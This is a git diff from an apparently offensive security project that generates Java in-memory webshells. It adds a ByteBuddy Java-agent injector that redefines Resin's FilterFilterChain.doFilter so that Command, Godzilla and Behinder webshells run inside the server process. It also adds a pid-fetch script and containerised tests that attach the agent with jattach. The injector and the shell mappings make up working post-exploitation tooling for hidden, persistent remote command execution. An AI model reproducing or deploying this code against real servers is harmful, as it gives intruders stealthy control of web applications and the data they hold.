diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java index e1764b96..f01d99af 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java @@ -3,14 +3,18 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.resin.behinder.BehinderListener; import com.reajason.javaweb.memshell.resin.command.CommandListener; import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjector; import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector; import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector; import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import org.apache.commons.lang3.tuple.Pair; @@ -23,16 +27,15 @@ import static com.reajason.javaweb.memshell.config.Constants.*; * @since 2024/12/14 */ public class ResinShell extends AbstractShell { + public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; @Override protected Map, Class>> getCommandShellMap() { return Map.of( SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class), - JAKARTA_SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class), FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class), - JAKARTA_FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class), LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class), - JAKARTA_LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class) + AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, ResinFilterChainAgentInjector.class) ); } @@ -40,11 +43,9 @@ public class ResinShell extends AbstractShell { protected Map, Class>> getGodzillaShellMap() { return Map.of( SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class), - JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class), FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class), - JAKARTA_FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class), LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class), - JAKARTA_LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class) + AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, ResinFilterChainAgentInjector.class) ); } @@ -52,11 +53,9 @@ public class ResinShell extends AbstractShell { protected Map, Class>> getBehinderShellMap() { return Map.of( SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class), - JAKARTA_SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class), FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class), - JAKARTA_FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class), LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class), - JAKARTA_LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class) + AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, ResinFilterChainAgentInjector.class) ); } } diff --git a/integration-test/docker-compose/resin/docker-compose-4.0.58.yaml b/integration-test/docker-compose/resin/docker-compose-4.0.58.yaml index ae63ef39..43f30a04 100644 --- a/integration-test/docker-compose/resin/docker-compose-4.0.58.yaml +++ b/integration-test/docker-compose/resin/docker-compose-4.0.58.yaml @@ -4,6 +4,7 @@ services: container_name: resin4058 ports: - "8080:8080" + - "5005:5005" environment: JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 volumes: diff --git a/integration-test/script/resin_pid.sh b/integration-test/script/resin_pid.sh new file mode 100755 index 00000000..812d40a2 --- /dev/null +++ b/integration-test/script/resin_pid.sh @@ -0,0 +1,2 @@ +#!/bin/bash +ps -ef | grep Resin | grep -v grep | awk '{print $2}' | tr -d '\n' \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 12560742..59fd6252 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -24,6 +24,7 @@ public class ContainerTool { public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux")); public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh")); + public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script/resin_pid.sh")); public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script/jboss_pid.sh")); public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh")); public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh")); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java b/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java index 99908a9a..85d9cc4d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java @@ -11,7 +11,7 @@ public class DoesNotContainExceptionMatcher extends TypeSafeMatcher { @Override protected boolean matchesSafely(String logs) { - return !logs.contains("Exception: "); + return !logs.contains("Exception: ") && !logs.contains("Caused by:"); } @Override diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index b31f7b4c..10e2703a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -59,6 +59,7 @@ public class ShellAssertionTool { String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout(); assertDoesNotThrow(() -> Long.parseLong(pidInContainer)); String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout(); + log.info("attach result: {}", stdout); assertThat(stdout, anyOf( containsString("ATTACH_ACK"), containsString("JVM response code = 0") diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java index 1be571ce..a4940b66 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -1,9 +1,11 @@ package com.reajason.javaweb.integration.resin; +import com.reajason.javaweb.memshell.ResinShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -17,8 +19,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -35,6 +36,8 @@ public class Resin3116ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(resinPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -57,19 +60,25 @@ public class Resin3116ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @AfterAll + @SneakyThrows static void tearDown() { + Thread.sleep(1000); String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java index 16a7c2e9..1c4510a3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.resin; +import com.reajason.javaweb.memshell.ResinShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.resinPid; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -35,6 +36,8 @@ public class Resin318ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(resinPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -57,7 +60,10 @@ public class Resin318ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -70,6 +76,6 @@ public class Resin318ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java index 242dec53..9b0dfab3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.resin; +import com.reajason.javaweb.memshell.ResinShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -35,6 +35,8 @@ public class Resin4058ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(resinPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -57,7 +59,10 @@ public class Resin4058ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -70,6 +75,6 @@ public class Resin4058ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java index 99e55a78..c47d243b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.resin; +import com.reajason.javaweb.memshell.ResinShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -35,6 +35,8 @@ public class Resin4067ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(resinPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -57,7 +59,10 @@ public class Resin4067ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -71,6 +76,6 @@ public class Resin4067ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer); + testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container); } } \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinFilterChainAgentInjector.java new file mode 100644 index 00000000..c49bcb90 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinFilterChainAgentInjector.java @@ -0,0 +1,63 @@ +package com.reajason.javaweb.memshell.resin.injector; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; + +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class ResinFilterChainAgentInjector implements AgentBuilder.Transformer { + + static Class interceptorClass = null; + + static { + try { + interceptorClass = Class.forName(getClassName()); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, + TypeDescription typeDescription, + ClassLoader classLoader, JavaModule module, + ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(interceptorClass).on(named("doFilter"))); + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) +// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("com.caucho.server.dispatch.FilterFilterChain")) + .transform(new ResinFilterChainAgentInjector()) + .installOn(inst); + System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter"); + } +} \ No newline at end of file